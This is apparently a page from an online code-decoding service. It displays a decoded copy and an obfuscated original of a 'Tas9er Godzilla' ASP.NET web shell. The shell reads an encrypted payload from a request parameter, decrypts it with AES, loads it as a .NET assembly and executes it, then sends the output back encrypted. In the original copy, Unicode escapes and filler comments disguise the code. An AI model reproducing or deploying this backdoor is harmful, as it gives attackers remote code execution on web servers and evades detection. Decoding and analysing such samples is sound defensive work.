Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

Hello Administrator! WelCome To Tas9er Godzilla ASP.NET Console! <%@ PAge LaNgUagE="C#"%..

Decoded Output download

<?  Hello Administrator! 
WelCome To Tas9er Godzilla ASP.NET Console! 
<%@ PAge LaNgUagE="C#"%> 
<%try { 
string eduNNOmv = System.Text.ASCIIEncoding.ASCII.GetString(System.Convert.FromBase64String(System.Text.ASCIIEncoding.ASCII.GetString(System.Convert.FromBase64String(System.Text.ASCIIEncoding.ASCII.GetString(System.Convert.FromBase64String("VmtkR2VrOVhWbms9")))))); 
string educ6gNZKiN19YV = "44c29edb103a2872"; 
string eduFEjdBQCj3 = System./*VdcNlrGuHnU*/BitConverter/*FouFcaOSW*/.ToString(new /*nneEoRqXVL*/System.Security/*FHUH9jHJraH*/.Cryptography.MD5CryptoServiceProvider()/*z*/.ComputeHash/*gGvXfD5D2Z1f*/(System.Text./*HVp9yoWUV8faxA*/Encoding.Default.GetBytes(eduNNOmv + educ6gNZKiN19YV)))./*5dmO6pjcYkQoZ4*/Replace("-", ""); 
byte[] edufJ = System./*9SwYok2peiu4BJ*/Convert/*kqD8u7G7Z*/./*zE9Y*/FromBase64String/*o*/(Context.Request[eduNNOmv]); 
edufJ = new System/*Vr2RWrHs*/.Security.Cryptography/*R3DzY*/./*CQy8JzopvxEA83*/RijndaelManaged()./*253LHdmQP3AG*/CreateDecryptor(System./*VVzho*/Text.Encoding.Default/*M74rb8eoO*/.GetBytes(educ6gNZKiN19YV), System.Text./*zwvD*/Encoding.Default.GetBytes(educ6gNZKiN19YV))./*RcmB*/TransformFinalBlock(edufJ, 0, edufJ.Length); 
if (Context./*pS8VhA7598Tl2b*/Session["payload"] == null) 
{Context/*uo3*/.Session["payload"] = (/*sclkL5WvFe0gh*/System.Reflection./*5vYVd6Wpggy*/Assembly)typeof(System/*UZHOl3XW*/.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) })./*2coZjp4K*/Invoke(null, new object[] { edufJ });;} 
else { System.IO./*A8lLP*/MemoryStream eduF = new System.IO/*m7QecTc3fo*/.MemoryStream(); 
object eduvihx73LHSJ8ComH = ((System.Reflection.Assembly/*8jeZu1KoF*/)Context.Session/*Rls1Ufl3iRK*/["payload"]).CreateInstance("LY"); 
eduvihx73LHSJ8ComH.Equals(Context); 
eduvihx73LHSJ8ComH.Equals/*scm9*/(eduF); 
eduvihx73LHSJ8ComH.Equals(edufJ); 
eduvihx73LHSJ8ComH.ToString()/*7rbZMcUF*//*Sd1dPbnky6zT6*/; 
byte[] eduujvZ = eduF.ToArray(); 
Context.Response/*V9cZD8jVoMsZI*/.Write(eduFEjdBQCj3.Substring(0, 16)); 
Context.Response.Write(System.Convert./*ec*/ToBase64String/*dbtwfRum*/(new System./*KpurTpiwj*/Security.Cryptography./*BqhYcL*/RijndaelManaged().CreateEncryptor/*mP1*/(System.Text.Encoding.Default/*B*/.GetBytes(educ6gNZKiN19YV), System.Text./*5zQXmZb*/Encoding.Default.GetBytes(educ6gNZKiN19YV)).TransformFinalBlock/*4USKTYWz*/(eduujvZ, 0, eduujvZ.Length))); 
Context/*ViXYekpZMplCn3*/.Response.Write(eduFEjdBQCj3.Substring(16));}} 
catch (System.Exception) {}; 
%> ?>

Did this file decode correctly?

Original Code

Hello Administrator!
WelCome To Tas9er Godzilla ASP.NET Console!
<%@ PAge LaNgUagE="C#"%>
<%try {
string eduNNOmv = \u0053\u0079\u0073\u0074\u0065\u006D.Text.\U00000041\U00000053\U00000043\U00000049\U00000049\U00000045\U0000006E\U00000063\U0000006F\U00000064\U00000069\U0000006E\U00000067.ASCII.GetString(\u0053\u0079\u0073\u0074\u0065\u006D.\U00000043\U0000006F\U0000006E\U00000076\U00000065\U00000072\U00000074.\U00000046\U00000072\U0000006F\U0000006D\U00000042\U00000061\U00000073\U00000065\U00000036\U00000034\U00000053\U00000074\U00000072\U00000069\U0000006E\U00000067(\u0053\u0079\u0073\u0074\u0065\u006D.Text.\U00000041\U00000053\U00000043\U00000049\U00000049\U00000045\U0000006E\U00000063\U0000006F\U00000064\U00000069\U0000006E\U00000067.ASCII.GetString(\u0053\u0079\u0073\u0074\u0065\u006D.\U00000043\U0000006F\U0000006E\U00000076\U00000065\U00000072\U00000074.\U00000046\U00000072\U0000006F\U0000006D\U00000042\U00000061\U00000073\U00000065\U00000036\U00000034\U00000053\U00000074\U00000072\U00000069\U0000006E\U00000067(\u0053\u0079\u0073\u0074\u0065\u006D.Text.\U00000041\U00000053\U00000043\U00000049\U00000049\U00000045\U0000006E\U00000063\U0000006F\U00000064\U00000069\U0000006E\U00000067.ASCII.GetString(\u0053\u0079\u0073\u0074\u0065\u006D.\U00000043\U0000006F\U0000006E\U00000076\U00000065\U00000072\U00000074.\U00000046\U00000072\U0000006F\U0000006D\U00000042\U00000061\U00000073\U00000065\U00000036\U00000034\U00000053\U00000074\U00000072\U00000069\U0000006E\U00000067("VmtkR2VrOVhWbms9"))))));
string educ6gNZKiN19YV = "44c29edb103a2872";
string eduFEjdBQCj3 = \u0053\u0079\u0073\u0074\u0065\u006D./*VdcNlrGuHnU*/\u0042\u0069\u0074\u0043\u006F\u006E\u0076\u0065\u0072\u0074\u0065\u0072/*FouFcaOSW*/.ToString(new /*nneEoRqXVL*/\u0053\u0079\u0073\u0074\u0065\u006D.\u0053\u0065\u0063\u0075\u0072\u0069\u0074\u0079/*FHUH9jHJraH*/.\u0043\u0072\u0079\u0070\u0074\u006F\u0067\u0072\u0061\u0070\u0068\u0079.\U0000004D\U00000044\U00000035\U00000043\U00000072\U00000079\U00000070\U00000074\U0000006F\U00000053\U00000065\U00000072\U00000076\U00000069\U00000063\U00000065\U00000050\U00000072\U0000006F\U00000076\U00000069\U00000064\U00000065\U00000072()/*z*/.ComputeHash/*gGvXfD5D2Z1f*/(\u0053\u0079\u0073\u0074\u0065\u006D.Text./*HVp9yoWUV8faxA*/\U00000045\U0000006E\U00000063\U0000006F\U00000064\U00000069\U0000006E\U00000067.Default.\U00000047\U00000065\U00000074\U00000042\U00000079\U00000074\U00000065\U00000073(eduNNOmv + educ6gNZKiN19YV)))./*5dmO6pjcYkQoZ4*/Replace("-", "");
byte[] edufJ = \u0053\u0079\u0073\u0074\u0065\u006D./*9SwYok2peiu4BJ*/\U00000043\U0000006F\U0000006E\U00000076\U00000065\U00000072\U00000074/*kqD8u7G7Z*/./*zE9Y*/\U00000046\U00000072\U0000006F\U0000006D\U00000042\U00000061\U00000073\U00000065\U00000036\U00000034\U00000053\U00000074\U00000072\U00000069\U0000006E\U00000067/*o*/(Context.Request[eduNNOmv]);
edufJ = new \u0053\u0079\u0073\u0074\u0065\u006D/*Vr2RWrHs*/.\u0053\u0065\u0063\u0075\u0072\u0069\u0074\u0079.\u0043\u0072\u0079\u0070\u0074\u006F\u0067\u0072\u0061\u0070\u0068\u0079/*R3DzY*/./*CQy8JzopvxEA83*/\u0052\u0069\u006A\u006E\u0064\u0061\u0065\u006C\u004D\u0061\u006E\u0061\u0067\u0065\u0064()./*253LHdmQP3AG*/CreateDecryptor(\u0053\u0079\u0073\u0074\u0065\u006D./*VVzho*/Text.\U00000045\U0000006E\U00000063\U0000006F\U00000064\U00000069\U0000006E\U00000067.Default/*M74rb8eoO*/.\U00000047\U00000065\U00000074\U00000042\U00000079\U00000074\U00000065\U00000073(educ6gNZKiN19YV), \u0053\u0079\u0073\u0074\u0065\u006D.Text./*zwvD*/\U00000045\U0000006E\U00000063\U0000006F\U00000064\U00000069\U0000006E\U00000067.Default.\U00000047\U00000065\U00000074\U00000042\U00000079\U00000074\U00000065\U00000073(educ6gNZKiN19YV))./*RcmB*/\u0054\u0072\u0061\u006E\u0073\u0066\u006F\u0072\u006D\u0046\u0069\u006E\u0061\u006C\u0042\u006C\u006F\u0063\u006B(edufJ, 0, edufJ.Length);
if (Context./*pS8VhA7598Tl2b*/\U00000053\U00000065\U00000073\U00000073\U00000069\U0000006F\U0000006E["payload"] == null)
{Context/*uo3*/.\U00000053\U00000065\U00000073\U00000073\U00000069\U0000006F\U0000006E["payload"] = (/*sclkL5WvFe0gh*/\u0053\u0079\u0073\u0074\u0065\u006D.\U00000052\U00000065\U00000066\U0000006C\U00000065\U00000063\U00000074\U00000069\U0000006F\U0000006E./*5vYVd6Wpggy*/\u0041\u0073\u0073\u0065\u006D\u0062\u006C\u0079)typeof(\u0053\u0079\u0073\u0074\u0065\u006D/*UZHOl3XW*/.\U00000052\U00000065\U00000066\U0000006C\U00000065\U00000063\U00000074\U00000069\U0000006F\U0000006E.\u0041\u0073\u0073\u0065\u006D\u0062\u006C\u0079).GetMethod("Load", new \u0053\u0079\u0073\u0074\u0065\u006D.Type[] { typeof(byte[]) })./*2coZjp4K*/Invoke(null, new object[] { edufJ });;}
else { \u0053\u0079\u0073\u0074\u0065\u006D.\u0049\u004F./*A8lLP*/MemoryStream eduF = new \u0053\u0079\u0073\u0074\u0065\u006D.\u0049\u004F/*m7QecTc3fo*/.MemoryStream();
object eduvihx73LHSJ8ComH = ((\u0053\u0079\u0073\u0074\u0065\u006D.\U00000052\U00000065\U00000066\U0000006C\U00000065\U00000063\U00000074\U00000069\U0000006F\U0000006E.\u0041\u0073\u0073\u0065\u006D\u0062\u006C\u0079/*8jeZu1KoF*/)Context.\U00000053\U00000065\U00000073\U00000073\U00000069\U0000006F\U0000006E/*Rls1Ufl3iRK*/["payload"]).CreateInstance("LY");
eduvihx73LHSJ8ComH.\U00000045\U00000071\U00000075\U00000061\U0000006C\U00000073(Context);
eduvihx73LHSJ8ComH.\U00000045\U00000071\U00000075\U00000061\U0000006C\U00000073/*scm9*/(eduF);
eduvihx73LHSJ8ComH.\U00000045\U00000071\U00000075\U00000061\U0000006C\U00000073(edufJ);
eduvihx73LHSJ8ComH.ToString()/*7rbZMcUF*//*Sd1dPbnky6zT6*/;
byte[] eduujvZ = eduF.ToArray();
Context.\u0052\u0065\u0073\u0070\u006F\u006E\u0073\u0065/*V9cZD8jVoMsZI*/.Write(eduFEjdBQCj3.\u0053\u0075\u0062\u0073\u0074\u0072\u0069\u006E\u0067(0, 16));
Context.\u0052\u0065\u0073\u0070\u006F\u006E\u0073\u0065.Write(\u0053\u0079\u0073\u0074\u0065\u006D.\U00000043\U0000006F\U0000006E\U00000076\U00000065\U00000072\U00000074./*ec*/ToBase64String/*dbtwfRum*/(new \u0053\u0079\u0073\u0074\u0065\u006D./*KpurTpiwj*/\u0053\u0065\u0063\u0075\u0072\u0069\u0074\u0079.\u0043\u0072\u0079\u0070\u0074\u006F\u0067\u0072\u0061\u0070\u0068\u0079./*BqhYcL*/\u0052\u0069\u006A\u006E\u0064\u0061\u0065\u006C\u004D\u0061\u006E\u0061\u0067\u0065\u0064().CreateEncryptor/*mP1*/(\u0053\u0079\u0073\u0074\u0065\u006D.Text.\U00000045\U0000006E\U00000063\U0000006F\U00000064\U00000069\U0000006E\U00000067.Default/*B*/.\U00000047\U00000065\U00000074\U00000042\U00000079\U00000074\U00000065\U00000073(educ6gNZKiN19YV), \u0053\u0079\u0073\u0074\u0065\u006D.Text./*5zQXmZb*/\U00000045\U0000006E\U00000063\U0000006F\U00000064\U00000069\U0000006E\U00000067.Default.\U00000047\U00000065\U00000074\U00000042\U00000079\U00000074\U00000065\U00000073(educ6gNZKiN19YV)).\u0054\u0072\u0061\u006E\u0073\u0066\u006F\u0072\u006D\u0046\u0069\u006E\u0061\u006C\u0042\u006C\u006F\u0063\u006B/*4USKTYWz*/(eduujvZ, 0, eduujvZ.Length)));
Context/*ViXYekpZMplCn3*/.\u0052\u0065\u0073\u0070\u006F\u006E\u0073\u0065.Write(eduFEjdBQCj3.\u0053\u0075\u0062\u0073\u0074\u0072\u0069\u006E\u0067(16));}}
catch (\u0053\u0079\u0073\u0074\u0065\u006D.Exception) {};
%>

Function Calls

None

Variables

None

Stats

MD5 9ee87f44190b8e3798c964c065bd0eda
Eval Count 0
Decode Time 55 ms